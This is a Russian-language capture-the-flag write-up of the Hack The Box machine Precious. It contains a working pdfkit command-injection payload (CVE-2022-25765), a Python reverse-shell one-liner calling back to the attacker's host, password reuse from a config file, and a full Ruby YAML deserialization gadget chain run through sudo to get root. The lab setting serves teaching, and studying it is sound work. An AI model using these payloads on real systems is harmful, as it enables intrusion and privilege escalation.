Хакер - HTB Precious. Эксплуатируем простую RCE в приложении на Ruby

Хакер - HTB Precious. Эксплуатируем простую RCE в приложении на Ruby

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как экс­плу­ати­ровать уяз­вимость в при­ложе­нии на Ruby, воз­никшую из‑за неп­роверен­ной десери­али­зации. По дороге для прод­вижения заюзаем баг в pdfkit и поищем учет­ные дан­ные на уда­лен­ном хос­те.

На­ша цель — зах­ват рута на тре­ниро­воч­ной машине Precious с пло­щад­ки Hack The Box. Уро­вень слож­ности — лег­кий 

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.189 precious.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли все­го два откры­тых пор­та:

  • порт 22 — служ­ба OpenSSH 8.4p1;
  • порт 80 — веб‑сер­вер Nginx 1.18.0.

Про SSH, как всег­да на машинах с HTB, мож­но забыть, пока у нас нет учет­ных дан­ных. Сра­зу откро­ем бра­узер для изу­чения веб‑сай­та.

Справка: брутфорс учеток

Пос­коль­ку в начале про­хож­дения у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — это переби­рать пароли брут­форсом, но у машин с HTB поч­ти всег­да есть дру­гое про­хож­дение. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Глав­ная стра­ница сай­та precious.htb

Нас встре­чает фор­ма кон­верте­ра веб‑стра­ницы в файл PDF. А это потен­циаль­ная точ­ка вхо­да.

ТОЧКА ВХОДА

Пер­вым же делом я поп­робовал про­читать локаль­ный файл /etc/passwd, зап­росив URL file:///etc/passwd. На этот зап­рос сер­вер вер­нул ошиб­ку «You should provide a valid URL!». Сле­дующий этап — поп­робовать получить внут­ренние стра­ницы, обра­щаясь на адрес 127.0.0.1localhost и дру­гие его вари­анты. На зап­росы такого пла­на получа­ем ошиб­ку «Cannot load remote URL!».

Зна­чит, сер­вер все же дела­ет какой‑то зап­рос. Давай тог­да запус­тим на сво­ем хос­те веб‑сер­вер:

python3 -m http.server 80

Вы­пол­няем зап­рос на него и видим, что в отдель­ной вклад­ке открыл­ся PDF, содер­жащий ответ нашего сер­вера.

Со­дер­жимое сге­нери­рован­ного PDF-фай­ла

Те­перь с помощью exiftool мы можем пос­мотреть, какая прог­рамма была исполь­зована, что­бы сге­нери­ровать PDF.

Ме­тадан­ные ска­чан­ного PDF-фай­ла

Уз­наем не толь­ко наз­вание генера­тора, но и его точ­ную вер­сию: pdfkit v0.8.6. Отлично, зна­чит, мы можем поис­кать готовые экс­пло­иты.

А так как мы зна­ем тех­нологию, сра­зу про­веря­ем пуб­лично дос­тупные экс­пло­иты. Можешь исполь­зовать спе­циаль­ные средс­тва вро­де searchsploit, но куда про­ще поис­кать в Google.

По­иск экс­пло­ита для pdfkit

Ви­дим упо­мина­ние уяз­вимос­ти CVE-2022-25765. Давай раз­бирать­ся.

ТОЧКА ОПОРЫ

На­ходим под­робное опи­сание спо­соба экс­плу­ата­ции.

Инс­трук­ция по экс­плу­ата­ции

Та­ким обра­зом, если мы закоди­руем коман­ду в URL и переда­дим в парамет­ре зап­роса, то из‑за неп­равиль­ной обра­бот­ки это­го парамет­ра коман­да будет выпол­нена. Для тес­та выпол­ним коман­ду id, отпра­вив в фор­му URL:

curl http://10.10.14.44/?test=%20`id`

Ска­чан­ный документ

В ска­чан­ном докумен­те отра­жен вывод отправ­ленной коман­ды. Запус­каем лис­тенер pwncat-cs и выпол­няем сле­дующий реверс‑шелл на Python 3:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.44",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'

По­лучен­ная сес­сия поль­зовате­ля ruby

ПРОДВИЖЕНИЕ

Те­перь нам нуж­но соб­рать информа­цию. Я обыч­но исполь­зую для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на хост скрипт для Linux, для чего ком­бинаци­ей кла­виш Ctrl-D перей­дем в глав­ное меню pwncat-cs и выпол­ним коман­ду upload. Затем коман­дой back воз­вра­щаем­ся к коман­дной обо­лоч­ке сес­сии, даем скрип­ту пра­ва на выпол­нение и запус­каем ска­ниро­вание. В выводе будет мно­го информа­ции, поэто­му отбе­рем толь­ко зна­чимую. В этот раз отме­чаем наличие фай­лов исто­рии и нас­тро­ек.

Фай­лы в домаш­нем катало­ге поль­зовате­ля

Прос­матри­ваем най­ден­ные фай­лы и в кон­фиге ~/.bundle/config находим пароль.

Со­дер­жимое фай­ла кон­фигура­ций

Этот пароль может подой­ти к дру­гим служ­бам или учет­ным записям поль­зовате­лей, что мы, конеч­но же, про­верим. Из фай­ла /etc/passwd узна­ем о сущес­тво­вании поль­зовате­ля henry. Теперь либо с помощью su перехо­дим в его кон­текст, либо авто­ризу­емся в новой сес­сии SSH.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Раз­ведку уже про­води­ли, поэто­му сно­ва запус­кать LinPEAS или дру­гие эну­мера­торы осо­бого смыс­ла нет. Одна­ко есть мес­та, которые сто­ит про­верить из‑за того, что у нас новый кон­текст работы. Нап­ример, нас­трой­ки sudoers.

sudo -l

Нас­трой­ки sudoers

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Мы узна­ли, что мож­но выпол­нить в при­виле­гиро­ван­ном кон­тек­сте без вво­да пароля (NOPASSWD) такую коман­ду:

/usr/bin/ruby /opt/update/dependencies.rb

Да­вай пос­мотрим исходный код это­го скрип­та.

Со­дер­жимое фай­ла /opt/update/dependencies.rb

Я сра­зу под­метил исполь­зование модуля YAML и фун­кции load. Этот модуль пре­дос­тавля­ет интерфейс Ruby для сери­али­зации и десери­али­зации дан­ных в фор­мате YAML.

Справка: сериализация и десериализация

Се­риали­зация — это про­цесс пре­обра­зова­ния объ­екта в пос­ледова­тель­ность бай­тов, которые затем могут быть переда­ны по сети либо сох­ранены в фай­ловой сис­теме или в базе дан­ных. Эти бай­ты вклю­чают в себя всю информа­цию, необ­ходимую для вос­ста­нов­ления исходно­го объ­екта. Про­цесс реконс­трук­ции называ­ется десери­али­заци­ей. Таким обра­зом, исполь­зуя заранее сери­али­зован­ный объ­ект, при его десери­али­зации мож­но выпол­нить про­изволь­ный код.

В нашем слу­чае мы можем передать про­изволь­ные дан­ные в фун­кцию YAML.load(), так как они счи­тыва­ются из фай­ла dependencies.yml. Сущес­тву­ет уже мно­го готовых наг­рузок. К при­меру, так мы можем выпол­нить коман­ду bash, что даст нам при­виле­гиро­ван­ную коман­дную обо­лоч­ку.

---

- !ruby/object:Gem::Installer

i: x

- !ruby/object:Gem::SpecFetcher

i: y

- !ruby/object:Gem::Requirement

requirements:

!ruby/object:Gem::Package::TarReader

io: &1 !ruby/object:Net::BufferedIO

io: &1 !ruby/object:Gem::Package::TarReader::Entry

read: 0

header: "abc"

debug_output: &1 !ruby/object:Net::WriteAdapter

socket: &1 !ruby/object:Gem::RequestSet

sets: !ruby/object:Net::WriteAdapter

socket: !ruby/module 'Kernel'

method_id: :system

git_set: bash

method_id: :resolve

Соз­даем такой файл в текущем катало­ге и запус­каем най­ден­ный скрипт под sudo. Пос­ле вывода оши­бок запус­тится новая коман­дная обо­лоч­ка.

sudo /usr/bin/ruby /opt/update/dependencies.rb

Флаг рута

Мы получи­ли флаг рута, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page